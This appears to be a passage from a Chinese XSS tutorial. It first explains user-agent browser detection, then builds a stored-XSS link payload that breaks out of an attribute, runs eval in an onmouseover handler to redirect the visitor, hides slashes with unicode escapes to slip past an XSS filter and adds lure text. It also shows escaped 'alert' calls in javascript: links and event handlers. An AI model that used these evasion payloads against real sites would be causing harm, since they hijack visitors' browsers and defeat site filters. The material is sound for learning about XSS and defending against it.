|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
实现逻辑如下： <!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8" />
<title>XssPayloadTest</title>
</head>
<body>
<script>
document.write(navigator.userAgent);
document.write("<br><br>");
var isIE = navigator.userAgent.indexOf('Trident') > 0;
var isChrome = navigator.userAgent.indexOf('Chrome') > 0;
var isFirefox = navigator.userAgent.indexOf('Firefox') > 0;
var isOpera = navigator.userAgent.indexOf('OPR') > 0;
if (isIE){
document.write('<b>您使用的是IE浏览器</b>');
}else if (isChrome){
if (isOpera){
document.write('<b>您使用的是Opera浏览器</b>');
}else{
document.write('<b>您使用的是Chrome浏览器</b>');
}
}else if (isFirefox){
document.write('<b>您使用的是Firefox浏览器</b>');
}else{
document.write('<b>您使用的是其它浏览器</b>');
}
</script>
</body>
</html>第8行直接在当前页面输出打开该页面的浏览器的用户代理字串；第11~14行分别查找各种浏览器的用户代理字串中，能够唯一识别浏览器类型的关键词，这是由于，在早期的“浏览器世界大战”中，许多 web 页面的特定内容仅支持 Netscape Navigator 浏览器（网景公司的产品，其 “Mozilla” 字串就是它首创的，含义为“Mosaic Killer”，即浏览器鼻祖 Mosaic 的杀手），而其它品牌浏览器为了提高自身市场份额与竞争力，也在其用户代理中添加了“Mozilla”字串，用于告诉目标站点：“我是与 Mozilla 兼容的浏览器”，如此一来，站点就会返回原本仅响应给 Mozilla 浏览器的页面内容，而这个内容通常是比较丰富的； 最终效果就是， IE 浏览器的用户访问某站点获得的内容与 Netscape Navigator 浏览器的用户获得的内容一致，因为 IE 在它的用户代理字串中，添加了“Mozilla”字串。 其它浏览器相继模仿这个做法，导致通过“Mozilla”字串根本无法实际识别浏览器类型，所以，必须找到用户代理字串中，每个浏览器都不一样的关键词，这就是第11~14行代码的工作，例如第11行查找用户代理字串中的“Trident”，后者是 IE 浏览器的 HTML 渲染引擎内核代号，然后保存在一个变量中，第15~16行代码通过判断这个变量的值来输出用户使用的是 IE 浏览器（在实际开发时，应该把这里的内容替换成仅 IE 浏览器支持的页面代码，其它类型浏览器以此类推）。 另一方面，当前的 chrome 与 Opera 浏览器的用户代理字串中，都包含了“Chrome”关键词，所以仅凭它无法区分这2个浏览器，需要检查在包含“Chrome”关键词的用户代理字串中，是否含有“OPR”字串，如果有，则能识别出 Opera 浏览器，反之，则为 chrome 浏览器；而这就是第17~22行的嵌套 if-else 语句的工作。顺便提一下，这2个浏览器的 HTML 解析引擎内核都源于苹果公司开发 Safari 浏览器时的内核 WebKit；google 公司在 WebKit 的基础上开发出新的内核称为 Blink；这2个浏览器厂商“饮水思源”的做法导致你在使用这2个浏览器打开上述文档时，看到了各自的用户代理字串都包含“AppleWebKit”：     |
|
|
|
|
|
假设用于生成短信链接的输入框的初始 HTML 代码如下： <a href="></a> 1。双引号元素属性闭合； 2。 onmouseover 事件结合 eval 函数执行任意代码； 3。对 URL 进行 UTF-16 编码绕过 XSS 防火墙； 4。利用社会工程学攻击来引诱用户点击链接； http://t.co@" style="font-size:99px;" onmouseover="eval(location.href='http:\u002f\u002fwww.baidu.com\u002f')" class/ 为了增强链接的视觉诱惑性，我在 a 元素的 innerHTML 中，添加了名为“邀请码发放页面”的文本节点（请勿在论坛中尝试！），最终的注入效果（即存储到服务器上的漏洞页面）如下所示： <!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8" />
<title>XssPayloadTest</title>
</head>
<body >
<a href="http://t.co@" style="font-size:99px;" onmouseover="eval(location.href='http:\u002f\u002fwww.baidu.com\u002f')" class/">邀请码发放页面</a>
</body>
</html>
|
|
|
|
|
|
unicode 字符的转义序列，“\u”后面的4个 ASCII 字符（或2个16进制数），可以采用 UTF-8/16/32 等编码形式；这里使用的是 UTF-16 编码（三种编码都是 unicode 编码的子集），使用这些编码是为了支持一些不能正常显示 unicode 字符的计算机系统。实际上，unicode 字符转义使用与 ASCII 字符的16进制编码相同的 映射；例如，对于字符串“alert”，其 ASCII 16进制编码形为“\61\6c\65\72\74”；其 unicode UTF-16 编码转义形式为“\u0061\u006c\u0065\u0072\u0074” ，第2个16进制数与 ASCII 字符的16进制编码相同，第1个16进制数在编码 ASCII 字符时为 00；在编码其它 unicode 字符时不为 00。 javascript 语言核心（以及实现它的浏览器内部的 javascript 解释引擎）直接支持 unicode 字符转义序列，这意味着，只有这些转义字符出现在页面中与 javascript 执行上下文相关的环境中时，才能被浏览器正确解码，这些环境包括但不限于（其它上下文各位可以自行挖掘）： 1。 script 元素内部； 2。 支持绑定事件处理程序的元素内部； 3。支持在属性值中使用 javascrip 伪协议的元素； 如果直接在 HTML 文档中（例如普通的元素内）使用 unicode 字符转义序列 ，浏览器可能无法识别并解码成相应的 unicode 字符，下面通过例子演示： <!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=utf-8" />
<title>XssPayloadTest</title>
</head>
<body>
\u0061\u006c\u0065\u0072\u0074
<div>
<a href = "javascript:\u0061\u006c\u0065\u0072\u0074('xss!')">百度首页</a>
<input type = "text" name ="search" id ="search" value = ""onfocus = \u0061\u006c\u0065\u0072\u0074('利用事件处理程序的xss!')//" class = "text_area"/>
<script>
document.write("\u0061\u006c\u0065\u0072\u0074");
</script>
</body>
</html>第10行在 a 元素的 href 属性值中使用 javascript 伪协议，其中的“alert”保留字使用 unicode UTF-16 编码转义形式，浏览器会解码并还原成 “alert”，导致在点击名为“百度首页”的超链接时，弹出显示“xss!”的信息框； 第11行给 input 元素的 onfocus （鼠标点击聚焦输入框）事件绑定的回调函数正是采用 unicode UTF-16 编码转义形式的 “alert”，浏览器会解码并还原，导致用户点击输入框时触发事件处理程序，弹出提示框； 第13行在 script 元素内调用 document.write()，作为其参数传递的正是 unicode UTF-16 编码转义形式的 “alert”，浏览器会解码并还原，最终在页面输出 alert 字符串。 下面的截图验证了浏览器的 javascript 解析引擎在上述三种 javascript 执行上下文中，遇到 unicode 字符转义序列时，所表现出的行为：  |
|
|
|
|
|
|
|
|
|
。
